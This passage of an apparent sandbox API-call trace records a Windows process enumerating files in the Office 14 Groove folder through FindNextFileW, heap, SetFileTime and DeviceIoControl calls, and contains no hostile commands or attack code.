ftLastWriteTime.dwHighDateTime=0x1ca03f6, nFileSizeHigh=0x0, nFileSizeLow=0x9f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ModifiedTelespace.ico", cAlternateFileName="")) returned 1 [0079.116] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x596e79b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFLINE.ICO", cAlternateFileName="")) returned 1 [0079.116] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x597f2350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONLINE.ICO", cAlternateFileName="")) returned 1 [0079.116] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf415e00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6bf68e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf415e00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnLineBusy.ico", cAlternateFileName="")) returned 1 [0079.116] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0728b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x597f2350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0728b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnLineIdle.ico", cAlternateFileName="")) returned 1 [0079.116] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0728b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0728b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutDomain.ico", cAlternateFileName="")) returned 1 [0079.116] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0728b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0728b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTGOING.ICO", cAlternateFileName="")) returned 1 [0079.116] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0728b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6cd3edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0728b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutSyncPC.ico", cAlternateFileName="")) returned 1 [0079.116] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0728b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6cdd7370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc0728b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PersonalContact.ico", cAlternateFileName="")) returned 1 [0079.116] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SessionMember.ico", cAlternateFileName="")) returned 1 [0079.116] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SessionOwner.ico", cAlternateFileName="")) returned 1 [0079.116] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpaceSelector.ico", cAlternateFileName="")) returned 1 [0079.116] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="StatusAway.ico", cAlternateFileName="")) returned 1 [0079.117] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="StatusDoNotDisturb.ico", cAlternateFileName="")) returned 1 [0079.117] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="StatusOnline.ico", cAlternateFileName="")) returned 1 [0079.117] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1a3b800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1a3b800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="TOOLICON.ICO", cAlternateFileName="")) returned 1 [0079.117] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d4e500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e633690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc2d4e500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2366, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS.ICO", cAlternateFileName="")) returned 1 [0079.117] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x430b200, ftCreationTime.dwHighDateTime=0x1c9d442, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x430b200, ftLastWriteTime.dwHighDateTime=0x1c9d442, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS_DocLib.ico", cAlternateFileName="")) returned 1 [0079.117] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x430b200, ftCreationTime.dwHighDateTime=0x1c9d442, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x430b200, ftLastWriteTime.dwHighDateTime=0x1c9d442, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS_DocLib.ico", cAlternateFileName="")) returned 0 [0079.117] GetLastError () returned 0x12 [0079.117] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.117] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0079.118] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa4f40) returned 1 [0079.118] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.118] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XML Files", cAlternateFileName="")) returned 1 [0079.118] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0079.118] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0079.118] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0079.119] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0079.119] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0079.119] NtClose (Handle=0x174) returned 0x0 [0079.119] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.119] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.119] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.119] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.119] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0079.128] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.128] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd279da00, ftCreationTime.dwHighDateTime=0x1c8a0cd, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd279da00, ftLastWriteTime.dwHighDateTime=0x1c8a0cd, nFileSizeHigh=0x0, nFileSizeLow=0x487, dwReserved0=0x0, dwReserved1=0x0, cFileName="builtincontrolsschema.xsd", cAlternateFileName="")) returned 1 [0079.128] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0079.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0079.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0079.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0079.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0079.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa4f40 [0079.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9600 [0079.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dd300 [0079.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0079.129] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd279da00, ftCreationTime.dwHighDateTime=0x1c8a0cd, ftLastAccessTime.dwLowDateTime=0x537646f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd279da00, ftLastWriteTime.dwHighDateTime=0x1c8a0cd, nFileSizeHigh=0x0, nFileSizeLow=0x5d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="grvschema.xsd", cAlternateFileName="")) returned 1 [0079.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0079.130] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0079.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0079.130] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0079.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0079.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9620 [0079.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dd408 [0079.130] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0079.130] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d4e500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc2d4e500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x14a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Messenger.xml", cAlternateFileName="")) returned 1 [0079.130] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0079.131] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0079.131] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0079.131] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0079.131] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0079.131] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9640 [0079.131] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dd510 [0079.131] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0079.131] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Space Templates", cAlternateFileName="")) returned 1 [0079.131] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a42b900, ftCreationTime.dwHighDateTime=0x1c9d747, ftLastAccessTime.dwLowDateTime=0x5abbba30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a42b900, ftLastWriteTime.dwHighDateTime=0x1c9d747, nFileSizeHigh=0x0, nFileSizeLow=0x17e2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="StarterApplicationDescriptors.xml", cAlternateFileName="")) returned 1 [0079.131] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0079.131] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0079.131] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0079.132] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0079.132] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0079.132] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9660 [0079.132] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dd618 [0079.132] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0079.132] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4061200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4061200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b875, dwReserved0=0x0, dwReserved1=0x0, cFileName="StarterNotificationDescriptors.xml", cAlternateFileName="")) returned 1 [0079.132] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0079.132] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0079.132] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0079.132] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0079.132] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0079.133] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9680 [0079.133] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dd720 [0079.133] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4bc0) returned 0x11ec790 [0079.133] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0079.133] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0079.133] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22545300, ftCreationTime.dwHighDateTime=0x1c9a48f, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22545300, ftLastWriteTime.dwHighDateTime=0x1c9a48f, nFileSizeHigh=0x0, nFileSizeLow=0x1a553, dwReserved0=0x0, dwReserved1=0x0, cFileName="StarterToolTemplates.xml", cAlternateFileName="")) returned 1 [0079.133] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0079.133] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0079.133] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0079.134] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0079.134] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaba2a0 [0079.134] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c96a0 [0079.134] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dd828 [0079.134] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaba2a0) returned 1 [0079.134] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22545300, ftCreationTime.dwHighDateTime=0x1c9a48f, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22545300, ftLastWriteTime.dwHighDateTime=0x1c9a48f, nFileSizeHigh=0x0, nFileSizeLow=0x1a553, dwReserved0=0x0, dwReserved1=0x0, cFileName="StarterToolTemplates.xml", cAlternateFileName="")) returned 0 [0079.134] GetLastError () returned 0x12 [0079.134] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0079.134] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0079.134] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.134] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd279da00, ftCreationTime.dwHighDateTime=0x1c8a0cd, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd279da00, ftLastWriteTime.dwHighDateTime=0x1c8a0cd, nFileSizeHigh=0x0, nFileSizeLow=0x487, dwReserved0=0x0, dwReserved1=0x0, cFileName="builtincontrolsschema.xsd", cAlternateFileName="")) returned 1 [0079.134] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd279da00, ftCreationTime.dwHighDateTime=0x1c8a0cd, ftLastAccessTime.dwLowDateTime=0x537646f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd279da00, ftLastWriteTime.dwHighDateTime=0x1c8a0cd, nFileSizeHigh=0x0, nFileSizeLow=0x5d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="grvschema.xsd", cAlternateFileName="")) returned 1 [0079.134] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d4e500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc2d4e500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x14a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Messenger.xml", cAlternateFileName="")) returned 1 [0079.134] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: 